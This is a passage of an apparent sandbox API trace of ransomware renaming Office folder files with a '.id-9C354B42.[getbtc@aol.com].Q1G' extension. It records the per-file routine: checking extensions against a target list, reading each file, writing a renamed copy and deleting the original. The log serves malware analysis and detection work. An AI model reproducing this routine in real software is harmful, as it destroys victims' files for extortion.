lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf6, lpOverlapped=0x0) returned 1 [0253.993] SetEndOfFile (hFile=0x3ac) returned 1 [0253.993] CloseHandle (hObject=0x3ac) returned 1 [0253.993] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.993] SetEndOfFile (hFile=0x390) returned 1 [0253.995] CloseHandle (hObject=0x390) returned 1 [0253.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 1 [0253.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.996] lstrlenW (lpString=".doc") returned 4 [0253.996] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.996] lstrlenW (lpString=".docx") returned 5 [0253.996] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.996] lstrlenW (lpString=".pdf") returned 4 [0253.996] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".xls") returned 4 [0253.997] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".xlsx") returned 5 [0253.997] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.997] lstrlenW (lpString=".ppt") returned 4 [0253.997] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString=".zip") returned 4 [0253.997] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".rar") returned 4 [0253.997] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".bz2") returned 4 [0253.997] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".7z") returned 3 [0253.997] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString=".dbf") returned 4 [0253.997] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString=".1cd") returned 4 [0253.997] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString=".jpg") returned 4 [0253.997] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.997] lstrlenW (lpString=".doc") returned 4 [0253.997] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".docx") returned 5 [0253.997] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.997] lstrlenW (lpString=".pdf") returned 4 [0253.997] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".xls") returned 4 [0253.997] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.997] lstrlenW (lpString=".xlsx") returned 5 [0253.997] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.998] lstrlenW (lpString=".ppt") returned 4 [0253.998] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.998] lstrlenW (lpString=".zip") returned 4 [0253.998] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString=".rar") returned 4 [0253.998] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString=".bz2") returned 4 [0253.998] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString=".7z") returned 3 [0253.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.998] lstrlenW (lpString=".dbf") returned 4 [0253.998] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.998] lstrlenW (lpString=".1cd") returned 4 [0253.998] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL") returned 65 [0253.998] lstrlenW (lpString=".jpg") returned 4 [0253.998] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.998] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0253.998] lstrlenW (lpString="SHAPNUM.VSL") returned 11 [0253.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.999] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=42352) returned 1 [0253.999] CloseHandle (hObject=0x390) returned 1 [0253.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 0x20 [0253.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.999] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0254.000] GetLastError () returned 0x0 [0254.000] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xa570, lpOverlapped=0x0) returned 1 [0254.002] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xa580, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xa580, lpOverlapped=0x0) returned 1 [0254.005] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.005] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0254.024] SetEndOfFile (hFile=0x3ac) returned 1 [0254.024] CloseHandle (hObject=0x3ac) returned 1 [0254.024] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.024] SetEndOfFile (hFile=0x390) returned 1 [0254.038] CloseHandle (hObject=0x390) returned 1 [0254.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\shapnum.vsl")) returned 1 [0254.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.169] lstrlenW (lpString=".doc") returned 4 [0254.169] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.169] lstrlenW (lpString=".docx") returned 5 [0254.169] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0254.169] lstrlenW (lpString=".pdf") returned 4 [0254.169] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.169] lstrlenW (lpString=".xls") returned 4 [0254.169] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.169] lstrlenW (lpString=".xlsx") returned 5 [0254.169] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0254.169] lstrlenW (lpString=".ppt") returned 4 [0254.169] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".zip") returned 4 [0254.170] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.170] lstrlenW (lpString=".rar") returned 4 [0254.170] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString=".bz2") returned 4 [0254.170] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString=".7z") returned 3 [0254.170] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".dbf") returned 4 [0254.170] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".1cd") returned 4 [0254.170] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".jpg") returned 4 [0254.170] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".doc") returned 4 [0254.170] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString=".docx") returned 5 [0254.170] lstrcmpiW (lpString1=".docx", lpString2="M.VSL") returned -1 [0254.170] lstrlenW (lpString=".pdf") returned 4 [0254.170] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString=".xls") returned 4 [0254.170] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.170] lstrlenW (lpString=".xlsx") returned 5 [0254.170] lstrcmpiW (lpString1=".xlsx", lpString2="M.VSL") returned -1 [0254.170] lstrlenW (lpString=".ppt") returned 4 [0254.170] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.170] lstrlenW (lpString=".zip") returned 4 [0254.170] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.170] lstrlenW (lpString=".rar") returned 4 [0254.171] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.171] lstrlenW (lpString=".bz2") returned 4 [0254.171] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.171] lstrlenW (lpString=".7z") returned 3 [0254.171] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.171] lstrlenW (lpString=".dbf") returned 4 [0254.171] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.171] lstrlenW (lpString=".1cd") returned 4 [0254.171] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SHAPNUM.VSL") returned 59 [0254.171] lstrlenW (lpString=".jpg") returned 4 [0254.171] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.171] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0254.171] lstrlenW (lpString="TIMESOLN.VSL") returned 12 [0254.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.707] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=281448) returned 1 [0254.707] CloseHandle (hObject=0x390) returned 1 [0254.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 0x20 [0254.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0254.776] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.776] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0254.777] GetLastError () returned 0x0 [0254.777] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x44b68, lpOverlapped=0x0) returned 1 [0254.900] WriteFile (in: hFile=0x3e8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x44b70, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x44b70, lpOverlapped=0x0) returned 1 [0254.906] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0254.906] WriteFile (in: hFile=0x3e8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.906] SetEndOfFile (hFile=0x3e8) returned 1 [0254.906] CloseHandle (hObject=0x3e8) returned 1 [0254.906] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.906] SetEndOfFile (hFile=0x3e4) returned 1 [0254.913] CloseHandle (hObject=0x3e4) returned 1 [0254.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.914] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\timesoln.vsl")) returned 1 [0254.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.916] lstrlenW (lpString=".doc") returned 4 [0254.916] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.916] lstrlenW (lpString=".docx") returned 5 [0254.916] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0254.916] lstrlenW (lpString=".pdf") returned 4 [0254.916] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.916] lstrlenW (lpString=".xls") returned 4 [0254.916] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.916] lstrlenW (lpString=".xlsx") returned 5 [0254.917] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0254.917] lstrlenW (lpString=".ppt") returned 4 [0254.917] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".zip") returned 4 [0254.917] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.917] lstrlenW (lpString=".rar") returned 4 [0254.917] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString=".bz2") returned 4 [0254.917] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString=".7z") returned 3 [0254.917] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".dbf") returned 4 [0254.917] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".1cd") returned 4 [0254.917] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".jpg") returned 4 [0254.917] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".doc") returned 4 [0254.917] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString=".docx") returned 5 [0254.917] lstrcmpiW (lpString1=".docx", lpString2="N.VSL") returned -1 [0254.917] lstrlenW (lpString=".pdf") returned 4 [0254.917] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString=".xls") returned 4 [0254.917] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0254.917] lstrlenW (lpString=".xlsx") returned 5 [0254.917] lstrcmpiW (lpString1=".xlsx", lpString2="N.VSL") returned -1 [0254.917] lstrlenW (lpString=".ppt") returned 4 [0254.917] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0254.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.917] lstrlenW (lpString=".zip") returned 4 [0254.918] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0254.918] lstrlenW (lpString=".rar") returned 4 [0254.918] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0254.918] lstrlenW (lpString=".bz2") returned 4 [0254.918] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0254.918] lstrlenW (lpString=".7z") returned 3 [0254.918] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0254.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.918] lstrlenW (lpString=".dbf") returned 4 [0254.918] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0254.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.918] lstrlenW (lpString=".1cd") returned 4 [0254.918] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0254.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\TIMESOLN.VSL") returned 60 [0254.918] lstrlenW (lpString=".jpg") returned 4 [0254.918] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0254.918] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0254.918] lstrlenW (lpString="VISIO_COL.HXC") returned 13 [0254.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0254.919] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=621) returned 1 [0254.919] CloseHandle (hObject=0x3e4) returned 1 [0254.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 0x20 [0254.919] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0254.919] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.919] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0254.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0254.920] GetLastError () returned 0x0 [0254.920] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x26d, lpOverlapped=0x0) returned 1 [0255.302] WriteFile (in: hFile=0x3e8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x270, lpOverlapped=0x0) returned 1 [0255.304] ReadFile (in: hFile=0x3e4, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0255.304] WriteFile (in: hFile=0x3e8, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0255.304] SetEndOfFile (hFile=0x3e8) returned 1 [0255.762] CloseHandle (hObject=0x3e8) returned 1 [0255.762] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0255.762] SetEndOfFile (hFile=0x3e4) returned 1 [0256.336] CloseHandle (hObject=0x3e4) returned 1 [0256.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_col.hxc")) returned 1 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_COL.HXC") returned 61 [0256.343] lstrlenW (lpString="C:\\Program Files\\Microsoft 